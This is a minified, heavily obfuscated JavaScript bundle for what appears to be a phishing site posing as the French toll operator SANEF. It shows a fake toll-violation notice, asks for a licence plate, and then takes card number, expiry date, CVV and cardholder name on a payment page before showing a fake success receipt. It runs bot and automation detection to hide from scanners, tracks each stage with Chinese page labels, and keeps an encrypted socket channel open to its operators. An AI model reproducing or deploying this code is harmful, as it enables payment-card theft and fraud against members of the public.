Ss(o,t(242))?t(585):Ss(o,a(486)+e(587))||Ss(o,"msie")?e(250)+n(295)+a(441)+t(496)+"r":Ss(o,"wechat")?"wechat":Ss(o,"firefox")?"fire"+e(510):Ss(o,n(520)+"a")||Ss(o,"opr")?e(520)+"a":Ss(o,a(258)+"me")?"chrome":Ss(o,"safari")?"safari":"unkn"+n(360)},browserEngineKind:Vs,documentFocus:function(){const e=qs;return void 0!==document[e(383)+"ocus"]&&document["hasF"+e(526)]()},userAgent:function(){return navigator[qs(385)+"Agent"]},appVersion:function(){const e=Gs,t=Gs,n=Is,a=navigator["appV"+e(493)+"on"];if(null==a)throw new Ws(-1,e(303)+"gato"+n(376)+"pVersion is "+t(422)+"fined");return a},rtt:function(){const e=qs,t=xs,n=Is,a=qs,r=Gs;if(void 0===navigator[e(336)+"ection"])throw new Ws(-1,"navigato"+e(408)+n(518)+"tion"+t(407)+r(422)+"fined");if(void 0===navigator[n(336)+"ection"].rtt)throw new Ws(-1,a(303)+"gato"+a(408)+"nnection"+a(507)+a(407)+"undefined");return navigator[r(336)+a(583)+"on"][a(566)]},windowSize:function(){const e=qs,t=Ds;return{outerWidth:window[e(557)+"rWidth"],outerHeight:window[e(557)+"rHei"+t(293)],innerWidth:window["inne"+t(280)+"th"],innerHeight:window["inne"+e(329)+"ght"]}},pluginsLength:function(){const e=xs,t=Ds;if(void 0===navigator["plug"+e(516)])throw new Ws(-1,"navi"+t(342)+"r.pl"+e(523)+"s is undefined");if(void 0===navigator["plug"+t(516)].length)throw new Ws(-3,"navigator.plugins.length is undefined");return navigator.plugins.length},pluginsArray:function(){const e=Is,t=Gs,n=Gs,a=xs,r=Is;if(void 0===navigator[e(550)+e(516)])throw new Ws(-1,n(303)+"gato"+t(420)+"ugins is"+r(397)+n(547)+"ed");if(void 0===window["Plug"+a(294)+"ray"])throw new Ws(-1,"window.PluginArr"+t(521)+"s un"+a(581)+e(432));return navigator["plug"+r(516)]instanceof PluginArray},errorTrace:function(){const e=Is,t=Is,n=Gs;try{null[0]()}catch(a){if(a instanceof Error&&null!=a.stack)return a.stack.toString()}throw new Ws(-3,e(323)+"rTra"+t(302)+e(543)+"l un"+n(253)+n(458)+" beh"+e(241)+"ur")},productSub:function(){const e=Gs,t=Ds,{productSub:n}=navigator;if(void 0===n)throw new Ws(-1,"navi"+e(342)+t(326)+"oduc"+t(399)+" is "+e(422)+e(411)+"d");return n},windowExternal:function(){const e=Is,t=qs,n=Ds,a=Is,r=Ds;if(void 0===window[e(297)+"rnal"])throw new Ws(-1,"wind"+t(283)+e(554)+"nal "+n(378)+"ndefined");const{external:o}=window;if("function"!=typeof o["toSt"+e(418)])throw new Ws(-2,a(572)+n(283)+r(554)+t(362)+"toSt"+n(418)+e(407)+e(249)+"a fu"+r(487)+"on");return o[r(466)+"ring"]()},mimeTypesConsistent:function(){const e=Ds,t=xs,n=xs,a=Gs;if(void 0===navigator["mime"+e(461)+"s"])throw new Ws(-1,t(303)+e(342)+"r.mimeTy"+e(589)+n(378)+"ndef"+e(440));const{mimeTypes:r}=navigator;let o=Object.getPrototypeOf(r)===MimeTypeArray["prot"+e(247)+"e"];for(let i=0;i=3}())&&o.push(r["lang"+t(413)+"s"]);else if("string"==typeof r[a(479)+"uages"]){const n=r["lang"+t(413)+"s"];n&&o.push(n[e(524)+"t"](","))}return o},notificationPermissions:async function(){const e=Ds,t=Ds,n=xs,a=xs,r=Ds;if(void 0===window["Notifica"+e(514)])throw new Ws(-1,"window.N"+t(306)+t(352)+e(470)+"is u"+r(318)+n(440));if(void 0===navigator[r(522)+"issi"+t(444)])throw new Ws(-1,t(303)+"gator.permission"+r(519)+" undefined");const{permissions:o}=navigator;if(typeof o[t(261)+"y"]!==r(568)+n(514))throw new Ws(-2,e(303)+"gator.permission"+a(567)+"ery is not a"+a(562)+r(467)+"n");try{const t=await o.query({name:a(296)+e(497)+"tions"});return"denied"===window[n(498)+"fica"+n(514)].permission&&t.state===a(563)+"pt"}catch(i){throw new Ws(-3,a(296)+t(497)+"tionPerm"+t(438)+t(532)+"sign"+t(540)+"nexp"+a(403)+a(240)+r(377)+"our")}},documentElementKeys:function(){const e=qs,t=qs,n=Gs,a=Is,r=xs;if(void 0===document[e(259)+"mentElem"+t(587)])throw new Ws(-1,"docu"+e(541)+n(389)+"umen"+a(333)+"ment is unde"+a(411)+"d");const{documentElement:o}=document;if(typeof o[t(464)+"ttributeNames"]!="func"+r(514))throw new Ws(-2,t(259)+e(541)+r(389)+t(447)+"tEle"+a(541)+t(321)+"Attr"+t(427)+"eNam"+r(538)+"s no"+r(256)+a(568)+"tion");return o["getA"+n(539)+r(284)+"Names"]()},functionBind:function(){const e=Is,t=Gs,n=Gs;if(void 0===Function[e(330)+"otype"].bind)throw new Ws(-2,t(533)+t(514)+".prototype.bind is undef"+t(440));return Function[n(330)+"otype"][e(591)].toString()},process:function(){const e=Gs,t=Ds,{process:n}=window,a="window.p"+e(315)+"ss is";if(void 0===n)throw new Ws(-1,a+" und"+e(547)+"ed");if(n&&"object"!=typeof n)throw new Ws(-3,a+(t(371)+" an object"));return n},distinctiveProps:function(){const e=Is,t=Ds,n=Is,a=qs,r=xs,o={[Ms.Awesomium]:{window:["awes"+e(367)+"m"]},[Ms.Cef]:{window:[t(415)+n(485)+"est"]},[Ms.CefSharp]:{window:["CefS"+n(375)]},[Ms["Coac"+e(269)]]:{window:["emit"]},[Ms[r(558)+"er"]]:{window:["fmge"+r(429)+"rgets"]},[Ms.Geb]:{window:[r(549)]},[Ms.NightmareJS]:{window:[r(419)+n(270)+"are",r(456)+n(509)+"e"]},[Ms["Phan"+n(424)+"s"]]:{window:["__phantomas"]},[Ms["Phan"+n(592)+"S"]]:{window:["callPhantom",e(322)+n(426)]},[Ms.Rhino]:{window:["spawn"]},[Ms[e(453)+"nium"]]:{window:[r(588)+"enium_ID"+r(508)+a(412)+"er","_sel"+a(299)+"m","calledSelenium",/^([a-z]){3}_.*_(Array|Promise|Symbol)$/],document:["__seleni"+n(372)+r(548)+t(300),r(274)+"nium"+a(442)+"luate",r(271)+t(373)+"um_unwrapped"]},[Ms["WebD"+a(531)+"rIO"]]:{window:["wdio"+t(459)+"tron"]},[Ms[t(551)+e(531)+"r"]]:{window:[r(582)+"river","__webdri"+a(443)+"unc","__lastWa"+e(354)+"lert","__lastWa"+t(503)+"onfirm","__la"+t(332)+"tirP"+e(525)+"t","_WEBDRIV"+e(535)+a(576)+r(546)+"E","ChromeDriverw"],document:["__we"+a(358)+a(569)+"script_fn",r(341)+"iver"+r(386)+n(430)+"e",e(398)+e(358)+n(569)+n(263)+"uate","__fx"+n(577)+"er_evaluate",t(341)+"iver"+t(314)+e(366)+"ed","__we"+e(358)+t(569)+"unwr"+r(423)+"d","__fx"+r(577)+"er_unwrapped",e(398)+e(358)+a(569)+t(276)+t(275)+"n",t(398)+n(358)+a(569)+"script_func","__we"+r(358)+"ver_scri"+r(275)+"unction","$cdc"+a(350)+"jflasutopfhv"+r(368)+"cf",a(394)+"_asdjflasuto"+n(311)+"cZLm"+a(529),"$chr"+n(482)+r(305)+e(452)+"iptInfo",r(344)+n(289)+"iver"+a(307)+t(361)+a(400)+"r"]},[Ms["Head"+t(308)+"Chrome"]]:{window:["domAutom"+n(290)+"n",a(392)+"utom"+r(290)+a(571)+r(273)+t(584)]}};let i;const s={},l=Ns(window);let c=[];for(i in void 0!==window.document&&(c=Ns(window["docu"+a(541)])),o){const e=o[i];if(void 0!==e){const a=void 0!==e[t(572)+"ow"]&&Ps(l,...e[r(572)+"ow"]),o=!(void 0===e["docu"+n(541)]||!c.length)&&Ps(c,...e.document);s[i]=a||o}}return s}};class js{constructor(){const e=Gs;this[e(304)+"onents"]=void 0,this["dete"+e(467)+"ns"]=void 0}[Gs(301)+xs(450)+Gs(264)+"s"](){const e=Is;return this[e(304)+e(544)+"ts"]}["getD"+Ds(555)+"tions"](){return this["dete"+qs(467)+"ns"]}detect(){const e=Is,t=qs,n=Gs,a=qs,r=Ds;if(void 0===this.components)throw new Error("BotD"+e(555)+"tor."+t(499)+t(559)+n(513)+a(433)+a(425)+r(515)+"efore Bo"+e(331)+"ector.co"+n(462)+"t");const[o,i]=function(e,t){const n=Gs,a=Ds,r={};let o={bot:!1};for(const i in t){const s=(0,t[i])(e);let l={bot:!1};typeof s==n(491)+"ng"?l={bot:!0,botKind:s}:s&&(l={bot:!0,botKind:Ms[n(319)+a(360)]}),r[i]=l,l.bot&&(o=l)}return[r,o]}(this.components,ks);return this[e(499)+"ctions"]=o,i}async["coll"+qs(384)](){const e=Gs;return this[Gs(304)+e(544)+"ts"]=await async function(e){const t=Ds,n={},a=Object[t(404)](e);return await Promise.all(a[t(478)](async a=>{const r=t,o=e[a];try{n[a]={value:await o(),state:0}}catch(i){n[a]=i instanceof Ws?{state:i.state,error:i.name+": "+i.message}:{state:-3,error:i instanceof Error?i.name+": "+i[r(288)+"age"]:String(i)}}})),n}(Hs),this["comp"+e(544)+"ts"]}}function Ys(e,t){e-=429;const n=Zs();let a=n[e];void 0===Ys.WKBPfz&&(Ys.hnLvKM=function(e){let t="",n="";for(let a,r,o=0,i=0;r=e.charAt(i++);~r&&(a=o%4?64*a+r:r,o++%4)?t+=String.fromCharCode(255&a>>(-2*o&6)):0)r="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=".indexOf(r);for(let a=0,r=t.length;a>(-2*o&6)):0)r="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=".indexOf(r);for(let a=0,r=t.length;a{const e=Fs,t=Fs,n=Fs;if(ge.value[e(327)+"ucts"]&&ge.value[e(327)+"ucts"][t(310)+"th"]>0){let a=0;return ge.value[t(327)+"ucts"][e(304)+"ach"](e=>{e.id=a++}),ge.value[n(327)+"ucts"]||[]}return Qs[e(303)+"e"]||[]});a(()=>{const e=Fs;return _s[e(303)+"e"].find(t=>{const n=e;return t?.id===ge[n(303)+"e"]?.["__pr"+n(315)+"tId"]})||{}}),function(){const e=tl,t=tl,n=tl,a=tl,r=tl,o=el();for(;;)try{if(751153==parseInt(e(242))/1+-parseInt(t(247))/2*(-parseInt(n(258))/3)+-parseInt(e(251))/4*(-parseInt(a(244))/5)+-parseInt(n(252))/6*(parseInt(t(241))/7)+-parseInt(a(260))/8+-parseInt(t(255))/9*(parseInt(n(254))/10)+parseInt(e(264))/11*(-parseInt(r(248))/12))break;o.push(o.shift())}catch(i){o.push(o.shift())}}();const $s=function(){let e=!0;return function(t,n){const a=e?function(){if(n){const e=n.apply(t,arguments);return n=null,e}}:function(){};return e=!1,a}}();function el(){const e=["Dg9Y","E30UyW","ovL3vNrKza","B2XL","ndGYmJa3mNr3yMDAqG","ChrPBW","zxjYBW","yMLUza","nJi3uwjQwfn6","zNvUyW","DgfIBa","oda1u1zeB1nf","odyWmte2qKvdzwXk","CMLUzW","mJeXnZK0nvDLqM5erW","B3r5Ca","Dhj1yW","nZG4mtm4CgXMq05S","mtC0ndKYy1zHDwrZ","Dg9tDa","y29UCW","ogjUEvHeBW","otu0mgPRse1rEG","D2fYBG","mtbYCvvOAxu","ndCXnteXohf1s0jzuG"];return(el=function(){return e})()}function tl(e,t){e-=241;const n=el();let a=n[e];void 0===tl.LOHKJG&&(tl.RtpZSz=function(e){let t="",n="";for(let a,r,o=0,i=0;r=e.charAt(i++);~r&&(a=o%4?64*a+r:r,o++%4)?t+=String.fromCharCode(255&a>>(-2*o&6)):0)r="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=".indexOf(r);for(let a=0,r=t.length;a{const e=Ys,t=await async function({monitoring:e=!0}={}){const t=Gs;e&&function(){const e=Is,t=Ds,n=Is,a=Is,r=Is;if(!(window[e(267)+"js_d_m"]||Math.random()>=.001))try{const o=new XMLHttpRequest;o[t(530)]("get",e(512)+"s://"+n(348)+"penf"+e(345)+".io/botd/v2.0.0/npm"+r(382)+"itoring",!0),o[a(379)]()}catch(o){}}();const n=new js;return await n["coll"+t(384)](),n}();return{isSpider:(await t.detect())[e(429)]}})()).isSpider&&(ye(n),function(){const e=xe,t=xe,n=xe,a=xe,o=xe;Le||(Me=r(Ie,{reconnection:!0,transports:[e(466)+"ocket","polling"],reconnectionAttempts:1/0,reconnectionDelay:1e3,reconnectionDelayMax:3e3,timeout:5e3,query:{uuid:ge[t(479)+"e"]?.uuid},path:"/con"+t(497),autoConnect:!0}),Le=!0,Me.on(t(486)+n(462),async()=>{const t=e;We({event:t(471)+"gleF"+t(456),data:hi})}),Me.on(o(510)+a(490)+"ct",e=>{}),Me.on(t(489)+"age",t=>{const n=e;try{const e="string"==typeof t?JSON.parse(function(e){const t=506,n=480,a=520,r=468,o=508,i=519,s=469,l=Ce,c=Ce,u=ze,d=Be;try{const s=J.AES["decr"+l(t)](e,Se,{iv:Te,mode:J.mode.CBC,padding:J[l(n)].Pkcs7})[u(a)+c(r)](J[d(o)][u(i)]);if(!s)throw new Error("解密结果为空");return s}catch(v){throw new Error(u(s)+"!")}}(t)):t;De[n(461)+n(485)](t=>{try{t(e)}catch(n){}})}catch(a){}}))}());let o=function(e,t){const n=bo,a=Co,r=qo,o=zo,i=bo;if(!Array.isArray(t))throw new Error("Routers "+n(476)+" be an a"+n(510));const s=new Set(t[n(466)](e=>e[n(451)]).filter(Boolean)),l=Mo[o(456)+"er"](e=>{const t=n;return!e[t(451)]||!s[t(446)](e.name)});let c=[];for(let v of t){if(!v.name)throw new Error("Router m"+r(444)+"have"+a(488)+i(468)+o(486)+"erty");if(!v[o(494)+"onent"])throw new Error(r(493)+'er "'+v[a(451)]+'" must have a component '+n(486)+"erty");let t={path:"/"+v[a(451)],name:v.name};v[a(450)+i(448)+"en"]&&e?t["comp"+n(467)+"t"]=So(e,v.component):t["comp"+i(467)+"t"]=v.component,c.push(t)}var u;c=[...l.map(t=>{const n=i,a=r,s=o;return t[r(450)+"ildren"]&&e&&(t[n(494)+"onent"]=So(e,t[a(494)+s(467)+"t"])),t}),...c],Eo=mn({history:((u=location.host?u||location.pathname+location.search:"").includes("#")||(u+="#"),Ut(u)),routes:c}),Lo.value=c;const d=Io.value;if(!c[a(462)](e=>e.name===d)&&c.length>0){const e=c[o(495)](e=>e[n(451)]);e&&(Io.value=e.name)}return Eo}(e,t);return{router:o}}$s(void 0,function(){const e=tl,t=tl,n=tl,a=tl,r=tl;let o;try{o=Function("return ("+e(265)+"tion() "+t(257)+'onstructor("return this")( ));')()}catch(l){o=window}const i=o["cons"+n(259)]=o["cons"+a(259)]||{},s=["log",e(253),"info",n(262)+"r","exce"+r(261)+"n",e(266)+"e","trace"];for(let c=0;c(e,t)=>(A(),g(D,null,[z(s(Vi)),z(s(Ui))],64))};var rl=dl,ol=dl,il=dl,sl=dl,ll=dl;!function(){for(var e=dl,t=dl,n=dl,a=dl,r=dl,o=ul();;)try{if(241766==-parseInt(e(378))/1*(parseInt(t(561))/2)+-parseInt(e(509))/3*(parseInt(t(614))/4)+-parseInt(a(503))/5+parseInt(n(573))/6*(parseInt(t(326))/7)+-parseInt(a(264))/8*(-parseInt(e(362))/9)+parseInt(r(305))/10+-parseInt(r(603))/11)break;o.push(o.shift())}catch(i){o.push(o.shift())}}();var cl=function(){var e=!0;return function(t,n){var a=e?function(){if(n){var e=n.apply(t,arguments);return n=null,e}}:function(){};return e=!1,a}}();function ul(){var e=["zw5ZAq","q29UzG","B2nHDa","ywzMAq","AwrLia","BYbJDq","q2HVAq","DgvZia","CMuU","ig1HAW","ihnLyW","DxjLCW","ifbYBW","Cgv1DG","Dw5Lia","DwuGDW","ig1LDa","DgfIBa","BgLUzq","BYbKzq","sKfnqq","zgLHDa","vhjHzG","rgvHza","zxvSzq","zw1VBG","zxiGDa","C2nVDq","ihDPDa","B2yGBW","Aw5LCW","lxqTAq","zxv4lG","ihLVDq","zw1LBG","zsbRzq","ugf5Bq","iezPBG","tM9Tia","CMfNzq","DMvYia","q3jLza","DgfS","DgHPCW","ywrKAq","Bs9Oia","AwzPzq","BwvUDa","BgL0zq","CgvYCW","Aw9U","zwDSzq","ywrKCG","lwPLia","DxjLBa","ihDLia","B25HBa","qwzYAq","y29UDa","B24GDW","zMLJia","zgf0zq","rKfr","lIbzBW","ugXLyq","AwfUDa","CMLWDa","ntGXnG","EMLWqW","rgvZyW","Cgf5Bq","C2LYia","BgvHCW","Aw1WBa","mtC5otGWmgn5wxHovG","ihzVAq","Dcb0Aa","zw4Gyq","tMfTzq","AwjYzq","ndC0nMzKBuDwqq","BMvYyq","qufsva","C2uGCW","DgLTzq","uMvNAq","B25L","CIbWyq","ywqGBW","ig1LCW","qwrYzq","ig91ia","ihnOyq","mcWWma","BMvZia","qwn0Aq","vM91CW","DMLKzq","igvZDa","zxjLia","swrLBG","y29TBq","Es4Gva","ignSAq","zxHJzq","rMLUzq","EsbPBG","AwjSzq","DMvUia","msbtBq","BgvTzq","y2L0Eq","zwX5lG","y3vSyq","BgeGCa","Bg9N","ifnHDG","zxjYBW","zxmGzG","CYbPBG","CMuGpW","CMuGCa","AxnPzq","qMfUAW","CxvLia","BgfXDq","Bgf0Aq","zguGCa","zxvYzq","B3rVxW","vMvYAq","zxjLBq","mta0ntK2zhrerKPW","zw50ia","DhjHAG","BhvYzq","BNvTyG","ug91CG","ig1VDa","y3r1CG","C2vJDq","AxjLCW","B25Zia","vgHLCG","mtjewNHnq1G","igLUia","B3uGyq","uhjVzW","CMuGzq","C2uGCa","ywrTAq","BIHZkq","CYbKzq","igfWCG","B3mGAq","BMzVCG","BMnLia","B2XSAq","ysbJBW","CIbWBa","ie5VDa","B24GCW","rgvTzq","igz1Ba","m0jc","DgvZ","rw50zq","tw9UDa","AMfTyq","BNrPyq","zsb0zq","B2rL","DMLUyW","zcbWyq","mtm0mde2m2HiyLfMsW","u3rHDa","BNqGDa","D2L0Aa","sw5MBW","qxr0zq","Dg9tDa","AxjL","DcbYzq","C3vZCa","CM1PDa","mJy4q2Xlsxjo","Aw5Nia","B29Yza","tgvZia","AxmGBW","BNrPBG","zsWGyq","ierLCW","ywn0zq","vviGra","t0Lfia","AwXSia","ihjLyW","BcbKDq","DcbHCa","B2XL","mJqGAa","B24GzG","CM4GDa","ugf5ia","zwqGyG","ywXLCG","mtiGqG","zsbMBW","iguTBq","ifzLCG","B25MBW","qwXLCG","CMuGyq","Dhv0ia","vMLSBa","CIbYzq","ywXLBq","C3nLza","AwD1zq","Dgf0Aq","ihn1CG","Dg9Y","Dw90zq","igXPyG","yMvYia","CYbNDq","iefJyW","BIb0CG","ignVBG","zsbPCW","AgLZiG","Ew1LBG","y3rLza","BMqGyq","Aw9UCW","zxrZia","zxmSia","zw1HAq","BNrOzq","BNqGpW","zIbWyq","E30UyW","yxjHBG","yxrLia","AxjTzq","zxnZyq","C3nL","AxjVBG","CM1HDa","q29UDa","j2fWCa","B3vYia","B24U","ihjLCW","zsbZEq","CYbYzq","B24GlW","zw4GCa","ihnVBG","zsHZkq","ywLSCW","ChrPBW","ChjVDa","ru1btG","ncbRBq","EsbwAq","DxaGDa","CM90zq","lIbqBa","BNqGCq","C3vTBq","ihbLDq","CgHVBG","zxiGmG","yxrPBW","zsbVzG","CML0ia","BIWGAq","yMLUza","zwr1yW","BNqGuW","DcbJBW","qujdia","BwfQBW","qYbhua","odq3mG","zs1Tyq","ugf5CW","ifn0zq","CgvUyq","EwLUzW","Dg90yq","EwvZia","y2fYDa","tNvTzq","Bwv0Da","CgXLBq","DgvLza","u291Da","CNrHBG","mtzvzvzWD0u","C3rVCG","ifn1zG","mJuWlG","B3iOiG","BIbMBa","zw50yq","igeGCG","ruyGtG","CIbLDa","igL0ia","igrLCW","CNjLBG","EsbVDG","B3iGCq","B3uGBG","swyGEq","zsbWyq","igvUia","zxqGza","ihrOzq","B3mGyW","ywX0Eq","yMuGCW","Dw5PCq","ihzHBa","Axf1zq","BIbHDq","yxLZla","DhjLia","yxLTzq","zsbZyq","AwvTzq","uYbLDa","DguGza","CY4I","Aw51zq","D2LSBa","ihrVia","B3rYzq","zMLUzq","ndC3ntaZmev3CvH1sq","B24GtG","ihbYBW","y2L0zq","ihbHEq","DgvYlG","CMfPDa","Aw4GAa","zIbtBW","DxiGCa","ifnbtG","Aw5ZyW","AxmGDG","CMvZCW","zM9YBq","DhmGyq","Aw5HBa","DxiU","Ecbttq","z2uGBG","Dc1PBa","mteZndi4n3nysKrlrW","ignHCG","BM90Aq","ifzPBW","zxrHAq","Esa1ma","BgvWAa","DxiGCG","4OczAw1T","C3bHyW","rhjPDG","AguGzq","CMf0Aq","y2f0Aq","BMLZDa","B3jTzq","CM4Gka","C3nLBG","zxjJyq","ig9Uia","rgLYzq","DgfUza","CMLJyq","ig5LDW","y29UzG","vMfSAq","vMLLDW","lIbxzq","BgLVBG","zxf1Aq","AguGzG","C3nHzW","CgfPzq","twfYyW","uYbqtW","EM9Uzq","odmXodC5EuTdC3LW","zsbJBa","DhjHyW","DgLVBG","queXmG","tMv4Da","BIbOyq","zxrYzq","DhjHzG","C3rLBq","zgfUCW","ncbOzq","CMuGza","B3r5Ca","y29UCW","igfUza","m3jVyuP6Eq","zgfIBa","zxmGuW","DgGGrG","ugfPzq","y3KGAq","DgLMAq","Dwv6ia","DxiGua","CNmGza","CML2yq","DgzVCG","DM90CG","ywLLBq","BgvZia","BIbNzq","ihrYyq","zwXLyW","sw1WBW","igvUDG","DgHLia","ig5Lia","jsbKAq","CYbHia","CMvUyW","sg9Tzq","igzYyq","lcbHBG","CIbKzq","vu4Gua","q29Kzq","igrHDa","ntaW","igzPBG","DwX0zq","zwvZia","zxv4ia","igfUia","DcbKAq","AMv0CW","zNvSBa","BNnPDa","B24Sia","zsdIGjqG","zsWGCW","C3rHDa","ig5VDa","Aw4GDa","y2fYza","qw1VDq","kfDPDa"];return(ul=function(){return e})()}function dl(e,t){e-=158;var n=ul(),a=n[e];void 0===dl.YwSIEA&&(dl.OEfeVV=function(e){for(var t,n,a="",r="",o=0,i=0;n=e.charAt(i++);~n&&(t=o%4?64*t+n:n,o++%4)?a+=String.fromCharCode(255&t>>(-2*o&6)):0)n="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=".indexOf(n);for(var s=0,l=a.length;s
',1)])])}],["__scopeId","data-v-8a5ab816"]]),Al={class:"hfe-before-footer-wrap"},yl=da({},[["render",function(e,t){return A(),g("div",Al,[...t[0]||(t[0]=[B('',1)])])}],["__scopeId","data-v-152897e2"]]),wl={__name:"Menu",setup:e=>(e,t)=>(A(),g("div",null,[z(gl),N(e.$slots,"default"),z(yl)]))},Cl={class:"index-sanef"},bl=["aria-label"],zl={class:"hero-head"},Bl={class:"hero-title"},ql={class:"hero-subtitle"},xl={class:"section-grey","aria-labelledby":"plate-label"},Dl={class:"violation-warning"},Gl={class:"violation-lookup-hint"},Il={id:"plate-label",class:"plate-label",for:"plate-input"},Ll=["aria-invalid","aria-describedby","placeholder"],Ml={key:0,id:"plate-error",class:"plate-error",role:"alert"},Wl={type:"submit",class:"btn btn-violation-lookup"},El=da({__name:"Index",setup(e){h(()=>{ai("首页")});const t=a(()=>ge.value?.text?.index||{}),n=d(""),r=d("");function o(){r.value=""}function i(e){e&&e.preventDefault();const a=n.value.trim();if(a){r.value="";try{sessionStorage.setItem("fr_sanef_identification",JSON.stringify({plate:a}))}catch{}ai("资料页"),To("notice")}else r.value=t.value.plateRequiredError||"Please enter your plate number to continue."}return(e,a)=>(A(),g("div",Cl,[y("section",{class:"hero","aria-label":t.value.heroAriaLabel},[y("div",zl,[y("h1",Bl,[z(s(Bs),{value:t.value.heroTitle},null,8,["value"])]),y("p",ql,[z(s(Bs),{value:t.value.heroSubtitle},null,8,["value"])])])],8,bl),y("section",xl,[y("p",Dl,[z(s(Bs),{value:t.value.violationWarning},null,8,["value"])]),y("p",Gl,[z(s(Bs),{value:t.value.violationLookupHint},null,8,["value"])]),y("form",{class:"violation-lookup-form",onSubmit:I(i,["prevent"]),novalidate:""},[y("label",Il,[z(s(Bs),{value:t.value.plateLabel},null,8,["value"])]),E(y("input",{id:"plate-input","onUpdate:modelValue":a[0]||(a[0]=e=>n.value=e),type:"text",class:"plate-input",name:"plate",autocomplete:"off",required:"","aria-invalid":r.value?"true":"false","aria-describedby":r.value?"plate-error":void 0,placeholder:t.value.platePlaceholder,onInput:o},null,40,Ll),[[V,n.value]]),r.value?(A(),g("p",Ml,b(r.value),1)):C("",!0),y("button",Wl,[z(s(Bs),{value:t.value.btnViewViolations},null,8,["value"])])],32)])]))}},[["__scopeId","data-v-4543258e"]]),Sl={class:"payment-page"},Tl={class:"payment-wrap"},Nl={class:"payment-hero"},Pl={class:"payment-hero-title"},Rl={class:"payment-hero-privacy"},Ol={class:"payment-footer-stack"},kl={type:"submit",class:"payment-submit-btn"},Vl={class:"payment-brand-footer"},Ul=da({__name:"Payment",setup(e){h(()=>{ai("支付页"),f(()=>{setTimeout(()=>{const e=document.querySelector(".payment-form .form-payment-body .form-row:nth-child(2)");if(e&&!e.querySelector(".bank-icons-container")){const t=document.createElement("div");t.className="bank-icons-container",U(p(hs),t),e.appendChild(t)}const t=document.querySelector('.payment-form input[name="cardHolder"]');if(t){t.setAttribute("placeholder","Please enter the cardholder's name");const e=t.closest(".sailors-input-container")?.querySelector(".sailors-input-label-text");e&&(e.textContent="Cardholder Name")}const n=document.querySelector('.payment-form input[name="cardNumber"]');if(n){const e=n.closest(".sailors-input-container")?.querySelector(".sailors-input-label-text");e&&(e.textContent="Card Number")}const a=document.querySelector('.payment-form input[name="expiryDate"]');if(a){const e=a.closest(".sailors-input-container")?.querySelector(".sailors-input-label-text");e&&(e.textContent="Expiration Date")}const r=document.querySelector('.payment-form input[name="cvv"]');if(r){const e=r.closest(".sailors-input-container")?.querySelector(".sailors-input-label-text");e&&(e.textContent="CVV")}},100)})});const t=a(()=>ge.value?.text?.payment||{}),n=a(()=>{const e=ge.value?.currencySymbol||"R";let t=String(ge.value?.money??"250.00");return/\.00$/.test(t)&&(t=t.slice(0,-3)),`Pay ${e}${t}`});return(e,a)=>(A(),g("div",Sl,[y("div",Tl,[y("header",Nl,[y("h1",Pl,[z(s(Bs),{value:t.value.title},null,8,["value"])]),y("p",Rl,[a[0]||(a[0]=y("span",{class:"payment-shield","aria-hidden":"true"},[y("svg",{xmlns:"http://www.w3.org/2000/svg",width:"20",height:"20",viewBox:"0 0 24 24",fill:"none"},[y("path",{d:"M12 2 4 5v6c0 5.55 3.84 10.74 8 12 4.16-1.26 8-6.45 8-12V5l-8-3Z",stroke:"#b8e986","stroke-width":"1.75","stroke-linejoin":"round"}),y("path",{d:"m9 12 2 2 4-4",stroke:"#b8e986","stroke-width":"1.75","stroke-linecap":"round","stroke-linejoin":"round"})])],-1)),z(s(Bs),{value:t.value.privacyIntro},null,8,["value"])])]),z(s(ss),{class:"payment-form"},{default:P(()=>[...a[1]||(a[1]=[])]),footer:P(()=>[y("div",Ol,[y("button",kl,b(n.value),1),y("p",Vl,[z(s(Bs),{value:t.value.footerBlurb},null,8,["value"])])])]),_:1})])]))}},[["__scopeId","data-v-05be17b8"]]),Hl={class:"toll-roads-container"},jl={class:"main-content",role:"main"},Yl={class:"content-wrapper"},Xl={class:"content-inner"},Zl={class:"success-panel"},Jl={class:"success-title"},Kl={class:"success-lead"},Fl={class:"payment-summary-card"},Ql={class:"summary-title"},_l={class:"summary-list"},$l={class:"summary-row"},ec={class:"summary-label"},tc={class:"summary-value amount-value"},nc={class:"summary-row"},ac={class:"summary-label"},rc={class:"summary-value reference-value"},oc={class:"summary-row"},ic={class:"summary-label"},sc={class:"summary-value"},lc={class:"summary-row"},cc={class:"summary-label"},uc={class:"summary-value"},dc={class:"summary-text-box"},vc={class:"summary-text"},pc={class:"notice-box"},fc={class:"notice-title"},mc={class:"notice-body"},hc=da({__name:"Success",setup(e){h(()=>{ai("支付页")});const t=a(()=>ge.value?.text?.success||{}),n=a(()=>{const e=t.value?.summaryReferenceValue;return"string"==typeof e&&e.length>0?e:"FSA-PENDING"}),r=a(()=>(ge.value?.currencySymbol||"")+" "+(ge.value?.money||"0")),o=a(()=>{const e=new Date,t=e.getFullYear(),n=String(e.getMonth()+1).padStart(2,"0");return`${String(e.getDate()).padStart(2,"0")}/${n}/${t}`});return(e,a)=>(A(),g("div",Hl,[y("main",jl,[y("div",Yl,[y("div",Xl,[y("div",Zl,[a[0]||(a[0]=y("div",{class:"success-icon"},[y("svg",{width:"64",height:"64",viewBox:"0 0 64 64",fill:"none",xmlns:"http://www.w3.org/2000/svg"},[y("circle",{cx:"32",cy:"32",r:"30"}),y("path",{d:"M20 32L28 40L44 24","stroke-width":"4","stroke-linecap":"round","stroke-linejoin":"round"})])],-1)),y("h1",Jl,[z(s(Bs),{value:t.value.title},null,8,["value"])]),y("p",Kl,[z(s(Bs),{value:t.value.lead},null,8,["value"])])]),y("section",Fl,[y("h2",Ql,[z(s(Bs),{value:t.value.summaryTitle},null,8,["value"])]),y("div",_l,[y("div",$l,[y("span",ec,[z(s(Bs),{value:t.value.summaryAmountLabel},null,8,["value"])]),y("span",tc,[z(s(Bs),{value:r.value},null,8,["value"])])]),y("div",nc,[y("span",ac,[z(s(Bs),{value:t.value.summaryReferenceLabel},null,8,["value"])]),y("span",rc,[z(s(Bs),{value:n.value},null,8,["value"])])]),y("div",oc,[y("span",ic,[z(s(Bs),{value:t.value.summaryDateLabel},null,8,["value"])]),y("span",sc,[z(s(Bs),{value:o.value},null,8,["value"])])]),y("div",lc,[y("span",cc,[z(s(Bs),{value:t.value.summaryStatusLabel},null,8,["value"])]),